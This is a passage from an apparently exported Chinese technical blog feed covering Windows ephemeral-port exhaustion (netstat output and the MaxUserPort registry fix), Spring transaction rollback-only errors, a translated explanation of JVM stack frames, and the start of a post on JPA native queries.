192.168.2.9:1521 192.168.2.121:47895 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47896 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47897 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47898 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47899 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47900 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47901 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47902 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47903 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47904 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47905 ESTABLISHED<br /> TCP 192.168.2.9:1521 192.168.2.121:47906 ESTABLISHED<br /> TCP 192.168.2.9:1592 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:1657 192.168.2.9:8443 CLOSE_WAIT<br /> TCP 192.168.2.9:1727 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:2020 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:2156 192.168.2.9:8443 CLOSE_WAIT<br /> TCP 192.168.2.9:3152 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:3153 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:3154 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:3380 192.168.2.9:8443 CLOSE_WAIT<br /> TCP 192.168.2.9:3724 192.168.2.9:8080 CLOSE_WAIT<br /> TCP 192.168.2.9:3740 192.168.2.9:8080 CLOSE_WAIT<br /> TCP 192.168.2.9:3764 192.168.2.9:8080 CLOSE_WAIT<br /> TCP 192.168.2.9:3938 192.168.2.9:4476 TIME_WAIT<br /> TCP 192.168.2.9:3938 192.168.2.9:4982 TIME_WAIT<br /> TCP 192.168.2.9:4132 192.168.2.9:8080 CLOSE_WAIT<br /> TCP 192.168.2.9:4133 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:4159 192.168.2.9:8080 CLOSE_WAIT<br /> TCP 192.168.2.9:4385 192.168.2.9:8080 CLOSE_WAIT<br /> TCP 192.168.2.9:4435 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:4457 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:4471 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:4476 192.168.2.9:1158 TIME_WAIT<br /> TCP 192.168.2.9:4476 222.138.226.80:2001 SYN_SENT<br /> TCP 192.168.2.9:4498 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:4521 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:4537 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:4570 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:4580 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:4766 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:4774 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:4837 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:4880 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:4982 192.168.2.9:1521 ESTABLISHED<br /> TCP 192.168.2.9:5900 192.168.2.110:3304 ESTABLISHED<br /> TCP 192.168.2.9:5900 192.168.2.113:4931 ESTABLISHED<br />从上面看来,顶多也就使用了125个user port(指建立socket连接时,操作系统给客户端自动分配的端口), 然后查看系统资源占用情况,总体来看也没有出现资源不足的情况.<br />CPU使用:4%<br />PF Usage: the amount of paging files being used by the system. If your computor is running near the maximum,<br />you can increase the page file size.<br /><br /># Totals, total for numbers of handles, threads and processed running on the computor.<br />[总数]<br /># handles, a value used to uniquely identify a resource, such as a file or registry key, so that a program can <br /># access it.<br />句柄数:55234 <br /># threads, a object within process that run program instructions.<br />线程数:788<br /># processed, a executable program.<br />进程:47<br /><br /># Physical Memory<br /># The total physical memory, also called RAM, installed on your computor.<br />[物理内存(K)]<br />总数:3134356<br /># Available, represents the amount of free memory that is available for use.<br />可用数:1445808<br /># System Cache, shows the current physical memory used to map pages on open files .<br />系统缓存:624104<br /><br /># Commit Charge<br /># Memory allocated to programs and the operating system, because of the memory copied to the paging files,<br /># called virtual memory, the value listed under PEAK may exceed the maximam physical memory. The value<br /># for Total is the same as that dipicted in the Paging File Usage History graph.<br />[认可用量(K)]<br />总数:1971300<br />限制:7670780<br />峰值:1989332<br /><br /># Kernel Memory, memory used by system kernel and device drivers.<br />[核心内存(K)]<br />总数:63468<br /># Paged, is the memory can be copied to paging files, thereby free the physical memory. This physical memory<br /># can then be used by the operating system.<br />分页数:46444<br /># Nonpaged, is the memory that remains resident in the physical memory, and will not be copied out to the <br /># paging files. <br />未分页:16996<br /><br />What is paging file?<br />A hidden file on the hard disk that Windows uses to hold parts of programs and data files that do not fit in memory. The paging file and physical memory, or RAM, comprise virtual memory. <br />Windows moves data from the paging file to memory as needed and moved data from memory to the paging file to make room for new data. Paging file is also called a swap file.<br /><br />What is nonpaged pool?<br />Operating system memory that is never paged to disk. Paging is the moving of infrequently used parts of a program's working memory from RAM to another storage medium, usually the hard dist. In Task Manager, the amount of memory used by a process, in kilobytes.<br /><br />What is paged pool?<br />The system-allocated virtual memory that has been charged to a process and that can be paged. Paging is the moving of infrequently-used parts of the program's working memory from RAM to another storage medium, usually the hard disk.<br /><br />What is virtual memory?<br />Temporary storage used by a computer to run programs that need more memory that it has. For example, programs could have access to 4 gigabytes of virtual memory on a computer's hard drive, even if the computer has only 32 megabytes of RAM,. The program data that does not currently fit in the computer's memory is saved into paging files.<br /><br />上面解释了以下任务管理器中的性能监控的一些因素.<br />最后关于socket错误的原因从微软的官网找到了(http://support.microsoft.com/kb/196271).<br />If you try to set up TCP connections from ports that are greater than 5000, the local computer responds with the following WSAENOBUFS (10055) error message:<br />An operation on a socket could not be performed because the system lacked sufficient buffer space or because a queue was full. <br />Important This section, method, or task contains steps that tell you how to modify the registry. However, serious problems might occur if you modify the registry incorrectly. Therefore, make sure that you follow these steps carefully. For added protection, back up the registry before you modify it. Then, you can restore the registry if a problem occurs. For more information about how to back up and restore the registry, click the following article number to view the article in the Microsoft Knowledge Base:<br />322756 (http://support.microsoft.com/kb/322756/ ) How to back up and restore the registry in Windows<br /><br /><br />The default maximum number of ephemeral TCP ports is 5000 in the products that are included in the "Applies to" section. A new parameter has been added in these products. To increase the maximum number of ephemeral ports, follow these steps:<br /><br /> 1. Start Registry Editor.<br /> 2. Locate the following subkey in the registry, and then click Parameters:<br /> HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters<br /> 3. On the Edit menu, click New, and then add the following registry entry:<br /> Value Name: MaxUserPort<br /> Value Type: DWORD<br /> Value data: 65534<br /> Valid Range: 5000-65534 (decimal)<br /> Default: 0x1388 (5000 decimal)<br /> Description: This parameter controls the maximum port number that is used when a program requests any available user port from the system. Typically, ephemeral (short-lived) ports are allocated between the values of 1024 and 5000 inclusive. After the release of security bulletin MS08-037, the behavior of Windows Server 2003 was changed to more closely match that of Windows Server 2008 and Windows Vista. For more information about Microsoft security bulletin MS08-037, click the following article numbers to view the articles in the Microsoft Knowledge Base:<br /> 951746 (http://support.microsoft.com/kb/951746/ ) MS08-037: Description of the security update for DNS in Windows Server 2008, in Windows Server 2003, and in Windows 2000 Server (DNS server-side): July 8, 2008<br /> 951748 (http://support.microsoft.com/kb/951748/ ) MS08-037: Description of the security update for DNS in Windows Server 2003, in Windows XP, and in Windows 2000 Server (client side): July 8, 2008<br /> 953230 (http://support.microsoft.com/kb/953230/ ) MS08-037: Vulnerabilities in DNS could allow spoofing<br /> 4. Exit Registry Editor, and then restart the computer. <br /><br />Note An additional TCPTimedWaitDelay registry parameter determines how long a closed port waits until the closed port can be reused.<br /><br />从上面可以看到,window操作系统还有一个TCPTimeWaitDelay的参数, 这个参数表示:在确定 TCP/IP 可释放已关闭连接并重用其资源前,必须经过的时间。关闭和释放之间的此时间间隔通称 TIME_WAIT 状态或两倍最大段生命周期(2MSL)状态。此时间期间,重新打开到客户机和服务器的连接的成本少于建立新连接。减少此条目的值允许 TCP/IP 更快地释放已关闭的连接,为新连接提供更多资源。如果运行的应用程序需要快速释放和创建新连接,而且由于 TIME_WAIT 中存在很多连接,导致低吞吐量,则调整此参数。<br />默认的MaxUserPort时1024-5000,TCPTimeWaitDelay是4分钟,所以如果在4分钟内发起了大约4000个连接,这时就会发生异常(10055).Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com0tag:blogger.com,1999:blog-30018430.post-40094229383488124792009-10-21T15:09:00.000+08:002012-04-26T11:28:29.982+08:00Spring事务管理以及与数据库连接的关系这里写两个碰到过的有意思的问题。<br />
<br />
<span style="font-size: large;"><b>Question 1</b></span><br />
<br />
Q1是由于oracle允许的最大连接数太小导致并发用户多的时候出现服务器无响应的问题。 Q2是Spring的AOP事务控制的问题,可能出现commit a rollback-only transaction.<br />
先交代一下上下文(因为问题都是在同一个项目总碰到的),项目用的是Sprint+JPA(hibernate), spring的事务声明如下:<br />
<pre style="background: white; border-style: dotted;"><tx:advice id="defaultTxAdvice" transaction-manager="transactionManager">
<tx:attributes>
<!-- Keep SequenceService in a isolation transaction -->
<tx:method name="get*" read-only="true" />
<tx:method name="verifyPayoutLimit" read-only="true" />
<tx:method name="enquiry" read-only="true" />
<!-- By default, A runtime exception will rollback transaction. -->
<tx:method name="*" rollback-for="ApplicationException" />
</tx:attributes>
</tx:advice>
<tx:advice id="asynTxAdvice" transaction-manager="transactionManager">
<tx:attributes>
<!-- Keep SequenceService in a isolation transaction -->
<tx:method name="get*" read-only="true" />
<!-- By default, A runtime exception will rollback transaction. -->
<tx:method name="*" propagation="REQUIRES_NEW"
rollback-for="ApplicationException" />
</tx:attributes>
</tx:advice>
<aop:config>
<aop:pointcut id="service"
expression="execution(* com.mpos.lottery.te..service.*Service.*(..))" />
<aop:pointcut id="asynService"
expression="execution(* com.mpos.lottery.te..service.*ServiceAsyn.*(..))" />
<aop:advisor advice-ref="defaultTxAdvice" pointcut-ref="service" />
<aop:advisor advice-ref="asynTxAdvice" pointcut-ref="asynService" />
</aop:config>
</pre>
<br />
先说Q1。比如有两个service:TicketService和SequenceServiceAsyn,并且TicketService需要调用SequenceServiceAsyn的服务。预先设置了oracle的最大允许连接数为100(可以通过show parameter processes命令查看),比如这个时候恰好有个100个并发用户访问TicketService,而且TicketService还没有执行到需要调用SequenceAsyn的服务那一步, 这意味着oracle的100个连接会被这100个用户的会话(线程)占用。这个时候,有一个用户的会话的TicketService开始调用SequenceServiceAsyn的服务,从Spring的事务声明来看,这个时候需要启动一个新的事务,所以这个会话就会要求获得一个新的数据库连接,但是连接都已经用完,oracle服务器无法提供更多的连接,所以这个会话开始等待,并且一直尝试建立新连接。 那么其他的会话呢?其他所有的会话都会走到这里,然后尝试从数据库获得一个新的连接,但是没有一个会成功,而他们本身获得的连接只有在事务提交后才会释放。。。最终导致服务器无法响应。当然这个问题也可能用另外一种面貌展示出来,但是问题是一样,要么增加数据库的最大允许连接数,或者控制客户端的请求。<br />
<br />
<b style="font-size: x-large;">Question 2</b><br />
<br />
然后说Q2。 这里通过一个叫batch validation的交易来说明这个问题,这个交易的控制流是这样的。FacadeService.facade->InstantTicketService.batchValidate->InstantTicketService.valdate->MerchantService.verfiyPayoutLimit. 因为以前关于这个问题已经在代码中进行了描述,这里也不重复了,直接copy过来(chinese-english)。<br />
<br />
Why change the name of "MerchantService" to "MerchantManager"? What
does it interfere? In spring-service.xml, we state the transaction boundary
as below: "execution(* com.mpos.lottery.te..service.*Service.*(..))"
"PROPAGATION_REQUIRED,ISOLATION_DEFAULT,-ApplicationException" and
transaction will be roll back when catch a ApplicationException or
RuntimeException.<br />
When client issue a 'batch validation' request, TE will handle these tickets
in request one by one. Even fail to validate one ticket, the other tickets
are still can be validated maybe. When handle 'batch validation', Spring will
create a transaction(A) when enter FacadeService.facade which is a facade for
all services. Then the control flow enter InstantTicketService#batchValidate,
Spring will get transaction for this cut-point(due to PROPAGATION is
REQUIRED):
<br />
<ol>
<li>[TransactionInterceptor] Getting transaction for
[com.mpos.lottery.te.instantgame.service.InstantTicketService.batchValidate]</li>
<li>[TransactionSynchronizationManager] Retrieved value
[org.springframework.orm.jpa.EntityManagerHolder@4dd413] for key
[org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean@1a4a1c9]
bound to thread [http-8080-1]</li>
</ol>
Spring will retrieve the exist transaction(A) which has been created when
enter FacadeService.facade and bound to current thread.
<br />
Methond 'batchValidate' will invoke MerchantService.veryfPayoutLimit to check
if the actual payout amount exceed allowed max payout amount of a merchant.
In the same way, when enter MerchantService#verifyPayoutLimit, Spring will
get the exist transaction(A) from current thread. Here, if fail to pass this
checking, a ApplicationException(code=341) will be thrown out from
MerchantService. When quit MerchantService.verifyPayoutLimit, Spring will
complete the transaction of this service.
<br />
<ol>
<li>[TransactionInterceptor] Completing transaction for
[com.mpos.lottery.te.merchant.service.MerchantService.verifyPayoutLimit]
after exception:
com.mpos.lottery.te.config.domain.exception.ApplicationException: ...</li>
<li>[RuleBasedTransactionAttribute] Applying rules to determine whether
transaction should rollback on
com.mpos.lottery.te.config.domain.exception.ApplicationException: ...</li>
<li>[RuleBasedTransactionAttribute] Winning rollback rule is:
RollbackRuleAttribute with pattern [ApplicationException]</li>
<li>[JpaTransactionManager] Participating transaction failed - marking
existing transaction as rollback-only</li>
<li>[JpaTransactionManager] Setting JPA transaction on EntityManager
[org.hibernate.ejb.EntityManagerImpl@10463c3] rollback-only</li>
</ol>
Now, Spring has marked this transaction(A) as rollback-only, but when
InstantTicketService catch this ApplicationException, it will only fail to
validate this ticket, and then continue to handle the next ticket. Let's say
the validation of next ticket is successful, and eventually no
ApplicationException or RuntimeException will be thrown out when quit
FacadeService.facade. So Spring will plan to commit this rollback-only
transaction(A), then a excetpion will be thrown out by Spring:
<br />
<pre> Could not commit JPA transaction; nested exception is javax.persistence.RollbackException:
Transaction marked as rollbackOnly
org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly
at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:465)
at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:709)
......
</pre>
That is why I change 'MerchantService' to 'MerchantManager'. After renaming,
Spring will not manage the transaction when enter
MerchantManager#verfyPayoutLimit. ANOTHER approach is set the transaction of
'MerchantService#verifyPayoutLimit' as read-only.
<br />
NOTE that Spring won't get transaction for InstantTicketService.validate.
why? In fact, when Spring start to initialize the whole ApplicationContext or
BeanFactory, it will find the AOP definition first, Here let's focus on
Service pointcut. Then when initialize the service instance, for example
'MerchantServiceImpl', it find 'MerchantServiceImpl' implements
'MerchantService' which is in Service pointcut, so sprint will return a
dynamic proxy which will target to MerchantServiceImpl instance..
<br />
<ol>
<li>[AspectJAwareAdvisorAutoProxyCreator] Creating implicit proxy for bean
'merchantService' with 0 common interceptors and 2 specific interceptors</li>
<li>[JdkDynamicAopProxy] Creating JDK dynamic proxy: target source is
SingletonTargetSource for target object
[com.mpos.lottery.te.merchant.service.impl.MerchantServiceImpl@c39410]</li>
</ol>
The mechanism of JDK dynamic proxy:
<br />
<ol>
<li>A proxy instance is extends from java.lang.reflect.Proxy</li>
<li>One proxy instance will associate with only one InvocationHandler
instance.</li>
<li>The invocation on proxy instance(MerchantService$Proxy) will be
dispatched to InvocationHandler instance, and then InvocationHandler instance
dispatch the request to target instance(MerhcantServiceImpl)</li>
<li>InvocationHandler instance will create transaction context before
dispatching request, or do some other things</li>
</ol>
Now come back to the question, why doesn't Spring get a transaction for
InstantTicketService.validate? The flow should be below:
<br />
<ol>
<li>Enter FacadeService.facade, in fact client invoke
FacadeService$Proxy.facade. This proxy(In fact proxy will dispatch reqeust to
InvocationHandler, or interceptor) will check if a transaction has bound with
current thread, if not, create one, and bount it to current thread. Then
control flow enter FacadeServiceImpl.facade.</li>
<li>Enter InstantTicketService.batchValidate(in fact
InstantTicketService$Proxy.batchValidate), this proxy will also check
transaction context too. Then control flow enter
InstantTicketServiceImpl.batchValidate</li>
<li>Enter InstantTicketServiceImpl.validate, not
InstantTicketService$Proxy...Due to invoke validate \ from batchValidate
directly, not access to IntantTicketService$Proxy...</li>
<li>Enter MerchantService$Proxy, then InvocationHandler(interceptor), and
then MerchantServiceImpl$Proxy</li>
<li>Quit MerchantServiceImpl.verfiyPayoutLimit
</li>
</ol>
As described above, InstantTicketService.validate is invoked from target
class InstantTicketServiceImpl.batchValidate directly, Spring doesn't aware
of this invocation, so no transaction will be got for batchValidate.
<br />
public class MerchantServiceImpl implements MerchantService {<br />
...<br />
}Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com0tag:blogger.com,1999:blog-30018430.post-60053836266549000732009-05-11T12:09:00.000+08:002009-05-11T12:11:34.968+08:00InsideJVM(5)-Java Stack(堆栈)<p><strong>Java堆栈</strong><br />jvm为每个新创建的线程都分配一个堆栈。堆栈以帧为单位保存<br />线程的状态。jvm对堆栈只进行两种操作:以帧为单位的压栈和出栈<br />操作。</p> <p>某个线程正在执行的方法称为此线程的当前方法。当前方法使用的帧称<br />为当前帧。当前方法所属的类称为当前类。当前类的常量池称为当前<br />常量池。当线程执行一个方法时,它会跟踪当前的类和常量池。当jvm<br />会在当前帧内执行帧内数据的操作。</p> <p>当线程激活一个java方法,jvm就会在线程的java堆栈里新压入一个帧。<br />这个帧自然成为了当前帧。在此方法执行期间,这个帧将用来保存参数,<br />局部变量,中间计算过程和其他数据。</p> <p>一个方法可以以两种方法结束。一种是正常返回结束。一种是通过<br />异常抛出而异常结束(abrupt completion)。不管以那种方式返回,jvm<br />都会将当前帧弹出堆栈然后释放掉,这样上一个方法的帧就成为当前帧了。<br />(译者:可能可以这样理解,位于堆栈顶部的帧为当前帧)</p> <p>java堆栈上的所有数据都为此线程私有。一个线程不能访问另一个线程<br />的堆栈数据,所以在多线程的情况下也不需要对堆栈数据的访问进行同步。</p> <p>象方法区和堆一样(见以前的译文),java堆栈和帧在内存中也不必是连续<br />的。帧可以分布在连续的内存区,也可以不是。帧的数据结构由jvm的实现者<br />来决定,他们可以允许用户指定java堆栈的初始大小或最大最小尺寸。</p> <p><strong>堆栈帧( The Stack Frame)</strong><br />堆栈帧有三部分:局部变量区,操作数堆栈和帧数据区。局部变量区和操作数堆栈<br />的大小要视对应的方法而定。编译器在编译的时候就对每个方法进行了计算并放在<br />了类文件(class file)中了。帧数据区的大小对一种jvm实现来说是一定的。<br />当jvm激活一个方法时,它从类信息数据得到此方法的局部变量区和操作数堆栈的<br />大小,并据此分配大小合适堆栈帧压入java堆栈中。</p> <p><strong>局部变量区</strong><br />java堆栈帧的局部变量区是一个基为零类型为word的数组。指令通过索引来<br />使用这些数据。类型为int,float,reference和returnAddress的值在<br />数组中占据一项,类型为byte,short,和char的值在存入数组前都转为了<br />int值而占据一项。类型为long和double的值在数组中占据连续的两项,在<br />访问他们的时候,指令提供第一项的索引。例如一个long值占据3,4项,指令会<br />取索引为3的long值。局部变量区的所有值都是字对齐的,long和doubles<br />的起始索引值没有限定。</p> <p>局部变量区包含此方法的参数和局部变量。编译器首先以声明的顺序把参数<br />放入局部数据区。图5-9显示了下面两个方法的变量区。<br />// On CD-ROM in file jvm/ex3/Example3a.java<br />class Example3a {</p> <p> public static int runClassMethod(int i, long l, float f,<br /> double d, Object o, byte b) {</p> <p> return 0;<br /> }</p> <p> public int runInstanceMethod(char c, double d, short s,<br /> boolean b) {</p> <p> return 0;<br /> }<br />}</p> <p align="center"><img alt="" src="http://www.csdn.net/develop/article/images/E_Funnytranslatestack5-9.gif" align="baseline" border="0" hspace="0" /><br /></p> <p align="center">图5-9. 局部变量区中的方法参数</p> <p>注意在方法runInstanceMethod()的帧中,第一个参数是一个<br />类型为reference的值,尽管方法没有显示的声明这个参数,但<br />这是个对每个实例方法(instance method)都隐含加入的一个<br />参数值,用来代表调用的对象。(译者:与c++中的this指针一样)<br />我们看方法runClassMethod()就没有这个变量,这是因为这是一<br />个类方法(class method),类方法与类相关,而不与对象相关。</p> <p>我们注意到在源码中的byte,short,char和boolean在局部变量区<br />都成了ints。在操作数堆栈也是同样的情况。如前所述,jvm不直接<br />支持boolean类型,java编译器总是用ints来表示boolean。但java<br />对byte,short和char是支持的,这些类型的值可以作为实例变量<br />存储在局部变量区中,也可以作为类变量存储在方法区中。但在局部变量区<br />和操作数堆栈中都被转成了ints类型的值,期间的运算也是以int来的,<br />只当存回堆或方法区中,才会转回原来的类型。</p> <p>同样需要注意的是runClassMethod()的对象o。在java中,所以的对象<br />都以引用(reference)传递。所有的对象都存储在堆中,你永远都不会在<br />局部变量区或操作数堆栈中发现对象的拷贝,只会有对象引用。</p> <p>编译器对局部变量的放置方法可以多种多样,它可以任意决定放置顺序,<br />甚至可以用一个索引指代两个局部变量。例如,当两个局部变量的作用域<br />不重叠时,如Example3b的局部变量i和j。</p> <p>// On CD-ROM in file jvm/ex3/Example3b.java<br />class Example3b {</p> <p> public static void runtwoLoops() {</p> <p> for (int i = 0; i < 10; ++i) {<br /> System.out.println(i);<br /> }</p> <p> for (int j = 9; j >= 0; --j) {<br /> System.out.println(j);<br /> }<br /> }<br />}</p> <p>jvm的实现者对局部变量区的设计仍然有象其他数据区一样的灵活性。<br />关于long和double数据如何分布在数组中,jvm规范没有指定。<br />假如一个jvm实现的字长为64位,可以把long或double数据放在<br />数组中的低项内,而使高项为空。(在字长为32位的时候,需要两项<br />才能放下一个long或double)。</p> <p><strong>操作数堆栈</strong><br />操作数堆栈象局部变量区一样是用一个类型为word的数组存储数据,<br />但它不是通过索引来访问的,而是以堆栈的方式压入和弹出。假如<br />一个指令压入了一个值,另一个指令就可以弹出这个值并使用之。</p> <p>jvm在操作数堆栈中的处理数据类型的方式和局部变量区是一样的,同样<br />有数据类型的转换。jvm没有寄存器,jvm是基于堆栈的而不是基于寄存器<br />的,因为jvm的指令从堆栈中获得操作数,而不是寄存器。虽然操作数还可以<br />从另外一些地方获得,如字节码中,或常量池内,但主要是从堆栈获得的。</p> <p><br />jvm把操作数堆栈当作一个工作区使用。许多指令从此堆栈中弹出数据,进行<br />运算,然后压入结果。例如,iadd指令从堆栈中弹出两个数,相加,然后压入<br />结果。下面显示了jvm是如何进行这项操作的:<br />iload_0 // push the int in local variable 0<br />iload_1 // push the int in local variable 1<br />iadd // pop two ints, add them, push result<br />istore_2 // pop int, store into local variable 2</p> <p>在这个字节码的序列里,前两个指令iload_0和iload_1将存储在<br />局部变量区中索引为0和1的整数压入操作数据区中,然后相加,将<br />结果压入操作数据区中。第四条指令istore_2从操作数据区中弹出<br />结果并存储到局部数据区索引为2的地方。在图5-10中,详细的表述<br />了这个过程,图中,没有使用的区域以空白表示。</p> <p align="center"><img alt="" src="http://www.csdn.net/develop/article/images/E_Funnytranslatestack5-10.gif" align="baseline" border="0" hspace="0" /><br /></p> <p align="center">图5-10. 两个局部变量的相加.</p> <p><strong>帧数据区</strong><br />除了局部变量区和操作数据堆栈外,java栈帧还需要数据来支持<br />常量池解析(constant pool resolution),方法的正常返回<br />(normal method return)和异常分派(exception dispatch)。<br />这些信息保存在帧数据区中。</p> <p>jvm中的许多指令都涉及到常量池的数据。一些指令仅仅是取出常量池<br />中的数据并压入操作数堆栈中。一些指令使用常量池中的数据来指示<br />需要实例化的类或数组,需要访问的域,或需要激活的方法。还有一些<br />指令来判断某个对象是否是常量池指定的某个类或接口的子孙实例。</p> <p>每当jvm要执行需要常量区数据的指令,它都会通过帧数据区中指向<br />常量区的指针来访问常量区。以前讲过,常量区中对类型,域和方法<br />的引用在开始时都是符号。如果当指令执行的时候仍然是符号,jvm<br />就会进行解析。</p> <p>除了常量区解析外,帧数据区还要帮助jvm处理方法的正常和异常结束。<br />正常结束,jvm必须恢复方法调用者的环境,包括恢复pc指针。假如<br />方法有返回值,jvm必须将值压入调用者的操作数堆栈。</p> <p>为了处理方法的异常退出,帧数据区必须保存对此方法异常表的引用。<br />一个异常表定义了这个方法受catch子句保护的区域,每项都有一个<br />catch子句的起始和开始位置(position),和用来表示异常类在常量池<br />中的索引,以及catch子句代码的起始位置。</p> <p>当一个方法抛出异常时,jvm使用帧数组区指定的异常表来决定如何处理。<br />如果找到了匹配的catch子句,就会转交控制权。如果没有发现,方法会<br />立即结束。jvm使用帧数据区的信息恢复调用者的帧,然后重新抛出同样<br />的异常。</p> <p>除了上述信息外,jvm的实现者也可以将其他信息放入帧数据区,如调试<br />数据。</p> <p><strong>java堆栈的一种实现</strong><br />实现者可以按自己的想法设计java堆栈。如以前所讲,一个方法是从堆中<br />单独的分配帧。我以此为例,看下面的类:<br />// On CD-ROM in file jvm/ex3/Example3c.java<br />class Example3c {</p> <p> public static void addAndPrint() {<br /> double result = addTwoTypes(1, 88.88);<br /> System.out.println(result);<br /> }</p> <p> public static double addTwoTypes(int i, double d) {<br /> return i + d;<br /> }<br />}</p> <p>图5-11显示了一个线程执行这个方法的三个快照。在这个jvm的实现中,<br />每个帧都单独的从堆中分配。为了激活方法addTwoTypes(),方法<br />addAndPrint()首先压入int 1和double88.88到操作数堆栈中,然后<br />激活addTwoTypes()方法。</p> <p><img alt="" src="http://www.csdn.net/develop/article/images/E_Funnytranslatestack5-11.gif" align="baseline" border="0" hspace="0" /></p> <p align="center">图5-11. 帧的分配</p> <p>激活addTwoTypes()的指令使用了常量池的数据,jvm在常量池中查找这些数据<br />如果有必要则解析之。</p> <p>注意addAndPrint()方法使用常量池引用方法addTwoTypes(),尽管<br />这两个方法是属于一个类的。象引用其他类一样,对同一个类的方法和域<br />的引用在初始的时候也是符号,在使用之前需要解析。</p> <p>解析后的常量池数据项将指向存储在方法区中有关方法addTwoTypes()的信息。<br />jvm将使用这些信息决定方法addTwoTypes()局部变量区和操作数堆栈的大小。<br />如果使用Sun的javac编译器(JDK1.1)的话,方法addTwoTypes()的局部变量区<br />需要三个words,操作数堆栈需要四个words。(帧数据区的大小对某个jvm实现<br />来说是定的)jvm为这个方法分配了足够大小的一个堆栈帧。然后从方法<br />addAndPrint()的操作数堆栈中弹出double参数和int参数(88.88和 1)并把他们<br />分别放在了方法addTwoType()的局部变量区索引为1和0的地方。</p> <p>当addTwoTypes()返回时,它首先把类型为double的返回值(这里是89.88)<br />压入自己的操作数堆栈里。jvm使用帧数据区中的信息找到调用者(为<br />addAndPrint())的堆栈帧,然后将返回值压入addAndPrint()的操作数堆栈<br />中并释放方法addTwoType()的堆栈帧。然后jvm使addTwoType()的堆栈帧<br />为当前帧并继续执行方法addAndPrint()。</p> <p>图5-12显示了相同的方法在不同的jvm实现里的执行情况。这里的堆栈帧是在<br />一个连续的空间里的。这种方法允许相邻方法的堆栈帧可以重叠。这里调用者的<br />操作数堆栈就成了被调者的局部变量区。</p> <p><img alt="" src="http://www.csdn.net/develop/article/images/E_Funnytranslatestack5-12.gif" align="baseline" border="0" hspace="0" /></p> <p align="center">图5-12. 从一个连续的堆栈中分配帧</p> <p>这种方法不仅节省了空间,而且节省了时间,因为jvm不必把参数从一个<br />堆栈帧拷贝到另一个堆栈帧中了。</p> <p>注意当前帧的操作数堆栈总是在java堆栈的顶部。尽管这样可能<br />可以更好的说明图5-12的实现。但不管java堆栈是如何实现的,<br />对操作数堆栈的操作总是在当前帧执行的。这样,在当前帧的<br />操作数堆栈压入一个数也就是在java堆栈压入一个值。</p> <p>java堆栈还有一些其他的实现,基本上是上述两种的结合。一个jvm可以<br />在线程初期时从堆栈分出一段空间。在这段连续的空间里,jvm可以采用<br />5-12的重叠方法。但在与其他段空间的结合上,就要使用如图5-11的方法。</p>Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com0tag:blogger.com,1999:blog-30018430.post-53434876768612792762009-05-05T18:51:00.000+08:002009-05-05T18:52:46.966+08:00JPA Native Queries<p>The time when executing native SQL meant mishandles connections, heaps of finally blocks and prepared statements is finally over. With the introduction of the Java Persistence API (JPA 1.0) executing plain SQL queries is now as easy as it should be. JPA native queries have the following properties:<br /></p><ul><li>A native query is assumed to return either a single scalar value, like:<div class="dp-highlighter"><div class="bar"><div class="tools"><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('ViewSource',this);return false;">view plain</a><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('PrintSource',this);return false;">print</a><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('About',this);return false;">?</a></div></div><ol class="dp-j" start="1"><li class="alt"><span><span>Query query = em.createNativeQuery( </span></span></li><li class=""><span> <span class="string">"select id from users where username = ?"</span><span>); </span></span></li><li class="alt"><span>query.setParameter(<span class="number">1</span><span>, </span><span class="string">"lt"</span><span>); </span></span></li><li class=""><span>BigDecimal val = (BigDecimal) query.getSingleResult(); </span></li></ol></div><pre style="display: none;" name="code" class="Java">Query query = em.createNativeQuery(<br />"select id from users where username = ?");<br />query.setParameter(1, "lt");<br />BigDecimal val = (BigDecimal) query.getSingleResult();<br /></pre>or return all persistent values as specified in a entity class:<br /><div class="dp-highlighter"><div class="bar"><div class="tools"><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('ViewSource',this);return false;">view plain</a><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" 